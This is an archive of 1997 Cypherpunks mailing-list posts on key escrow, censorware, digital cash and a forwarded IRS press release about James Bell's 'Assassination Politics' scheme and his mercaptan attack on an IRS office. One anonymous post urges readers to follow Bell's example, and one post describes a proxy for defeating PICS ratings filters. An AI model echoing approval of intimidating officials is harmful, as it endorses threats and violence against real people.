Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Sat, 19 Jul 1997 03:48:48 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Brookings Inst. on crypto: "There are reasonable compromises"
In-Reply-To: <Pine.GSO.3.95.970718092025.13136L-100000@well.com>
Message-ID: <199707181959.PAA27626@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh forwards:

[ "There are reasonable compromises" ]

> no. 21
> Deciphering the Cryptography Debate
> 
> July 1997
> By Kenneth Flamm

In what way is this a compromise?  This is just the standard LEA
position.  Oh, I see.  Those who disagree with this position are the
ones expected to "compromise".

There's no room for compromise anyway.  They want access to our keys,
we don't want them to have access.  Either they succeed or we do.
There's no middle ground.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: techint@wavefront.com (Technical Intelligence-MN-USA)
Date: Sat, 19 Jul 1997 06:13:22 +0800
To: rhayden@orion.means.net (Robert Hayden-0797-EMP-HSE)
Subject: Re: MN CP meeting?
In-Reply-To: <Pine.SOL.3.95.970718153117.6738A-100000@orion.means.net>
Message-ID: <199707182133.QAA19120@ns.wavefront.com>
MIME-Version: 1.0
Content-Type: text



no idea, but 2600 meets at the megamall, right?

Please mail ed@twin-cities.com in the future, rather
than the winternet address.

Thanks!

>Anyone up for a Minnesota CP get-together anytime this summer?
> 
>=-=-=-=-=-=
>Robert Hayden					rhayden@means.net
>IP Network Administrator			(612) 230-4416
>MEANS Telcom
>
>

Edward Bertsch            ed@twin-cities.com
Technical Intelligence    http://www.twin-cities.com
PO 11145                  tel +1 612 225 0954
Saint Paul, MN 55111 USA  fax +1 612 222 2353





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Sat, 19 Jul 1997 05:39:39 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <ocrlo34ozgm.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Joe Shea (via Declan McCullagh) writes:

> 	Declan, what would you think if the actual keepers of the keys, 
> so to speak, were the courts, such as the Administratoive Office of the 
> US Courts?  That would at least seem to reduce a lot of the possible
> privacy concerns.  One has the sense that once they get into the hands of 
> the varius agencies, they'll get back out.

Why do I feel like we are going around and around in circles?

How about we give copies of our house-keys to the courts?  We should
also send them our old backup tapes, just in case they need them, too.

-- 
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@xemacs.org>
Date: Sat, 19 Jul 1997 08:55:45 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <m2yb73di77.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan  <alano@teleport.com> writes:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.

> Did anyone else get this?

I did, to an address I haven't used in months.  They confiscated all
his equipment perhaps they made the list from addresses they found
there ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 19 Jul 1997 06:21:40 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <3.0.3.32.19970718172701.00969de0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm really surprised to see this entire discussion resurface, especially 
without any apparent memory of the past 5 years that have hashed this topic 
over.

The real issue, IMHO, is given in my 
http://www.clark.net/pub/cme/html/avss.html

Hitting closer to home for those of us who design crypto:

Our job is to permit Alice to communicate to Bob (or Alice at a later time) 
without Eve getting anything from that communication.

			+---+
			| E |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

			
The gov't wants us to achieve that goal but permit Dorothy the detective, D, to 
have access:


			+---+
			| D |
			+---+
			  ^
  +---+		  |		  +---+
  | A |-------------+---------->| B |
  +---+				  +---+

Those two diagrams are identical except for labeling.  How can we tell E from 
D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon?  The LA 
Intelligence unit?  ....?

Meanwhile, the system to allow D but not E is hugely more complex than the 
system which prohibits both D and E.  And, as I argue elsewhere, 
<http://www.clark.net/pub/cme/html/ukgak/>, good strong non-GAK crypto in the 
hands of criminals should help law enforcement in their surveillance effort -- 
because:

1)	it encourages criminals to talk about their crimes with other criminals
2)	some percentage of those "other criminals" will be plants, informers or 
turned,
	thus giving law enforcement an intelligence boon
3)	traffic analysis of these criminal conversations is not inhibited

 - Carl

At 12:45 PM 7/18/97 -0700, Declan McCullagh wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 18 Jul 1997 12:04:56 -0700 (PDT)
>From: Joe Shea <joeshea@netcom.com>
>To: Declan McCullagh <declan@well.com>
>Cc: fight-censorship-announce@vorlon.mit.edu
>Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
>
>
>	Declan, what would you think if the actual keepers of the keys, 
>so to speak, were the courts, such as the Administratoive Office of the 
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands of 
>the varius agencies, they'll get back out.
>
>Best,
>
>Joe Shea
>Editor-in-Chief
>The American Reporter
>joeshea@netcom.com
>http://www.newshare.com:9999
>
>
>
>

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM8/fpFQXJENzYr45AQGVFgP+NwnbWTzPmy97dNMiH01T7cwUT63ofpud
B0LJmstXN7ayxJ288eDYqOd0KZLi83lUKqfmoeW6WhLH2ySC3+E72FQi/jfmK8eG
k/JgH3cAukWGgDoZ1JpHnCW+9HfWIgkNHTLVEjNNMI8Vk2g5qRZc2onrbJd3Y38P
okAx1LgrGDk=
=fQdx
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 19 Jul 1997 09:40:58 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707190110.SAA28931@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



I think we should all follow jim's example.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 19 Jul 1997 09:24:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <19970719011440.27657.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Alan <alano@teleport.com> writes:

 > I recieved this today via e-mail.  I find it strange since
 > I have never asked to be put on any sort of "interest list"
 > by anyone at the IRS.  (And my Cypherpunks mail shows up at
 > a different address.

 > Did anyone else get this?

Not I.

 > The affidavits indicated that in January, 1997 the
 > "Multnomah County Common Law Court" held a "trial" of IRS
 > and other Government officials.

Is it illegal to hold a mock trial of political figures?  I
should think it would be considered protected First Ammendment
speech.

 > In the plea agreement, ...

He really should have gone to trial on this.  He wouldn't have
won, but he could have cost the bastards the maximum amount of
time and money possible, thus limiting the number of
citizen-units that could be harrassed in such a manner using
available IRS resources.

 > BELL faces a maximum sentence of three years in prison and
 > a $250,000 fine for the obstruction charge, and five years
 > and a $250,000 fine for using a phony social security
 > number.

Obviously the jackbooted thugs have a very high opinion of what
their time is worth.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Jul 1997 11:29:13 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: hand-held computers Re: Electronic commerce has long way   to go
In-Reply-To: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970718182120.006f575c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>For those outside of Metricom's coverage areas, NovaTel Wireless
>http://www.novatelwireless.com is introducing a CDPD modem specifically
>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas

On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
while CDPD is generally some pennies per KB, which may be more or less
expensive than circuit-switched modem connections over cellular voice
depending on your usage patterns.  But it's widely available.

There are also services like ARDIS and RadioMail, and PCMCIA pager cards
offer some interesting options for sending encrypted messages to PDAs
even if it's just one-way.

Hand-helds are gradually adopting infrared ports, and I gather they're
even gradually standardizing on what kind.  My Psion is the earlier model
that uses wires for communication, as are some (all?) Pilots, but a 
friend who has the newer Psion3C connects its RS232 to a Metricom,
and uses Infrared to talk to his laser printer.  Back when Newtons were
the only PDA in town, two of them could talk IR to each other, and
there were some Cypherpunks discussions about how this would be nice
for ecash applications.  (The Psion also has audio input and output,
and there's a program that lets two Psions transfer data by growling
at each other, probably at 300bps.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 09:46:48 +0800
To: cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <19970718182345.30146@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 02:48:15PM -0700, Alan wrote:
> 
> Get the new version of Lynx. (2.7?)  It does a better job of handling
> frames.

You should get it anyway, because of serious security related bug:

                    Computer Incident Advisory Capability
                           ___  __ __    _     ___
                          /       |     /_\   /
                          \___  __|__  /   \  \___
             __________________________________________________________
 
                             INFORMATION BULLETIN
 
               Lynx Temporary Files & LYDownload.c Vulnerabilities
 
July 16, 1997 16:00 GMT                                            
Number H-82
______________________________________________________________________________
PROBLEM:       Two vulnerabilities exist for Lynx: 1) temporary 
files, and
               2) LYDownload.c.
PLATFORM:      All Unix or Unix-like systems running Lynx up to and including
               version 2.7.1
DAMAGE:        1) May allow local users to gain root privileges.
               2) This vulnerability may be exploited by anyone who 
can provide
                  Lynx a carefully crafted URL.
SOLUTION:      Apply patches or workarounds listed below.

[...]  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Jul 1997 11:25:50 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970716140549.18879C-100000@well.com>
Message-ID: <3.0.2.32.19970718183128.006f575c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:58 AM 7/17/97 +0000, Paul Bradley wrote:
>To kill the bandwidth problem, maybe someone could write a local HTML 
>anti-PICS proxy, so, one would load up the web browser, point it at 
>http://localhost which would bring up a simple page with a box for the 
>URL to retrieve, the local proxy would then use HTTP to get the page, 
>strip of all existing PICS tags, insert new "no sex, no violence etc..." 
>tags, and forward the page on to the browser.

It's an obvious extension to CookieCutter.  It won't get you around
PICS systems that are configured to block unrated pages, or around
censorware systems that filter out naughty words, but it's still easy.

>However, I find it unlikely many censorous parents would have the 
>foresight to ensure the kids login couldn`t install other s/w such as an 
>old browser which doesn`t support PICS and would display the pages 
>anyway, so it looks like the whole discussion may lead nowhere, apart 
>from maybe the advantage of the new browsers other features being 
>preserved in the proxy route.

On the other hand, I predict censorware implementations that require
a specific proxy system (or prevents you from changing proxies),
you can't just point to your own decensoring proxy, and you can't
get to systems blocked by proxy.singapore.gov or imprimis.vatican.org
or be.nice.net or whomever your parent or in-loco-parentis is using.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sat, 19 Jul 1997 07:20:48 +0800
To: "Declan McCullagh" <cypherpunks@toad.com>
Subject: Re: Keepers of the keys
Message-ID: <199707182231.SAA16735@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713715.multipart/signed"

--Boundary..3971.1071713715.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit




> Declan, what would you think if the actual keepers of the keys,
>so to speak, were the courts, such as the Administrative Office of the
>US Courts?  That would at least seem to reduce a lot of the possible
>privacy concerns.  One has the sense that once they get into the hands
of
>the varius agencies, they'll get back out.

It has no real effect. The problem is that corporations have very
good reason to expect governments to abuse key escrow. The
Nixon administration showed that the President of the US was
capable of ordering the burglary of his opponents offices. Since
the President appoints the Supreme court this is a pretty direct
demonstration that nobody can be trusted.

The concerns for foreign corporations are even greater. France
openly boasts about its commercial espionage. It also murders
its political opponents by planting bombs on civilian ships. Any
foreign corporation operating in that company must expect a
concerted effort to disclose its trade secrets to its French
competitors.

People in the security industry are paid to be paranoid, to reduce
risk to the lowest possible. If your security model does not trust the
CEO of the company concerned absolutely why should minor
officials of the US government be trusted?

    Phill





--Boundary..3971.1071713715.multipart/signed
Content-Type: application/octet-stream; name="bin00001.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00001.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARADRzp2v498O7td8YzDsHCquvT
1Wm8VZVvNB/m7+un+PgYWywpQKGMOBBc5/+o/HT95n8mOrHn2sWl/5yqphM3
+g==
--Boundary..3971.1071713715.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesf@mail.utexas.edu>
Date: Sat, 19 Jul 1997 02:52:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: mondex
Message-ID: <1342895971-8715296@mail.binarycompass.com>
MIME-Version: 1.0
Content-Type: text/plain



On 7/18/97 3:26 AM, Ryan Lackey said:

>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?  Would this be analagous to the
>problem of replacing InterNIC with other NICs -- you need to make the
>user servers know to look at the rival systems and understand their 
>keys?

As I understand it, Mondex is a completely closed system. Everything that 
you don't absolutely need to know is undocumented. Since you can settle 
offline, the potential for fraud is frightening; unless I'm getting the 
benefit of these, um, weaknesses in the system, I don't want there to be 
any. The lack of privacy seems to be somewhat of a smokescreen; since you 
can settle offline, they don't have a really accurate way of tracking 
transactions except at the interface between e$ and other forms of money 
or goods (like their POS terminals and ATMs).

Can you hack Mondex? They say you can't...

Wesley Felter - wesley@binarycompass.com - Binary Compass Enterprises
In BizRate we trust - <http://www.bizrate.com/>
Disclaimer: My employer knows I'm crazy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 19 Jul 1997 08:20:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <Pine.SOL.3.96.970718185007.2373C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



anyone know what the lowest he can get is, under the sentencing
guidelines, now that we know the max?
MacN

On Fri, 18 Jul 1997, Alan wrote:

> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?
> 
> alano@teleport.com | "Those who are without history are doomed to retype it."
> 
> ---------- Forwarded message ----------
> Return-Path: irsnwpr@net.insp.irs.gov
> Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
> Received: by tcs_gateway1.treas.gov id AA19658
>   (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>   Fri, 18 Jul 1997 18:47:00 -0400
> Date: Thu, 17 Jul 1997 12:29:08 -0400
> From: IRS Inspection <irsnwpr@net.insp.irs.gov>
> Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
> To: Interested-Parties@net.insp.irs.gov
> Subject: Something of Interest
> 
> 
> 
> 					United States Attorney
> 					Western District of Washington
> 
> FOR IMMEDIATE RELEASE
> July 18, 1997
> 
> JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
> SECURITY NUMBERS
> 
> United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
> pleaded guilty today in the federal court in Tacoma to two felony charges.
> BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
> impeding the Internal Revenue Service (IRS), and to falsely using a social
> security number with the intent to deceive.  United States District Court
> Judge Franklin D. Burgess presided over today's proceedings.
> 
> The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
> agreement signed by BELL, he acknowledged that he had gathered the names and
> addresses of the IRS employees in order to intimidate them in the
> performance of their official duties.
> 
> During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people.  BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated.  In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics" as
> an enforcement mechanism for the "Multnomah County Common Law Court", and
> that this was part of his effort to obstruct and impede the enforcement of
> internal revenue laws.  In affidavits previously filed in this case, IRS
> investigators identified BELL as a participant in the "Multnomah County
> Common Law Court", which was described as a self-appointed anti-government
> extremist group which purports to hold "trials" of IRS and other Government
> employees for the performance of their official duties.  The affidavits
> indicated that in January, 1997 the "Multnomah County Common Law Court" held
> a "trial" of IRS and other Government officials.  
> 
> In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan.  In affidavits filed with
> the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
> against non-government targets: one being a lawyer's office in 1984, and the
> other a vehicle in 1989.  The IRS investigators also linked BELL to two
> purchase orders for noxious chemicals, one in 1994 and one in 1996.
> According to the plea agreement, the attack on the IRS office resulted in a
> cost to the government of $1,359, and caused a number of IRS employees to
> have to leave work.  In an affidavit previously filed in this case, IRS
> Inspectors indicated that the mercaptan attack may have been linked to the
> February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.
> 
> As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS and
> thus to impede the IRS's ability to collect taxes he owed and to prevent the
> IRS from levying his wages.
> 
> Federal agents had previously executed two search warrants on BELL's
> residence.  On April 1, 1997, IRS agents seized computers, documents, and
> firearms during a search.  In a follow-up search, the Environmental
> Protection Agency seized a variety of dangerous chemicals which had been
> discovered during the execution of the  IRS warrant.  BELL was arrested by
> IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
> on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
> posed a danger to the community and was a flight risk.
> 
> BELL faces a maximum sentence of three years in prison and a $250,000 fine
> for the obstruction charge, and five years and a $250,000 fine for using a
> phony social security number.
> 
> The IRS received assistance in the investigation of BELL from the Portland
> Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
> Bureau of Investigation, and the Vancouver, Washington Police Department.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 10:47:56 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
Message-ID: <Pine.GSO.3.95.970718191915.29745E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 19:18:56 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Danny Yee <danny@staff.cs.usyd.edu.au>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

I believe the ACLU gets most of its money from individual contributions.
(I may be remembering this from a conversation with some ACLUers.)

But Jonah has a point below. What's important is not just which
corporations fund a group, but whether the group sets policies based on
its funders' desires. 

I know the Cato Institute, for instance, lost money from corporate funders
during the Gulf War because of Cato's principled pacifist stance. I
suspect EPIC has remained at its modest (but effective) size because of
its principled uncompromising stance.

This goes back to the original debate: pragmatism vs. principle. How do
you stand on principle and remain an effective advocate in Washington? If
you navigate the route of pragmatism and compromise, what does that mean
for civil liberties? Can you avoid compromising them away?

I'm reminded of a scene in Lord of the Rings. Frodo offers the Ring to
Galadriel. She hesitates, then declines. She says she would have been
tempted by its power -- but transformed by it. "I will diminish, and
remain Galadriel." 

(This is from memory. It's been more than a couple years.)

-Declan


On Sat, 19 Jul 1997, Danny Yee wrote:

> > From: Jonah Seiger <jseiger@cdt.org>
> > What critics on this list seem to fail to understand is that CDT, EFF,
> > EPIC, ACLU, etc. get financial support based on our positions and goals,
> > not the other way around.
>  
> Amnesty International does not accept funding from any state.  It seems
> to me that there's a very good reason for that.
> 
> I'd be interested to see a list of financial supporters of the ACLU
> and EFF.
> 
> Danny Yee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 19 Jul 1997 23:15:10 +0800
To: hal@rain.org
Subject: (Fwd) Something of Interest
Message-ID: <199707191504.LAA19019@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



I received this out of the blues.  I suppose that you received it 
too.

Ciao all


------- Forwarded Message Follows -------
Date:          Thu, 17 Jul 1997 12:29:08 -0400
From:          IRS Inspection <irsnwpr@net.insp.irs.gov>
To:            Interested-Parties@net.insp.irs.gov
Subject:       Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

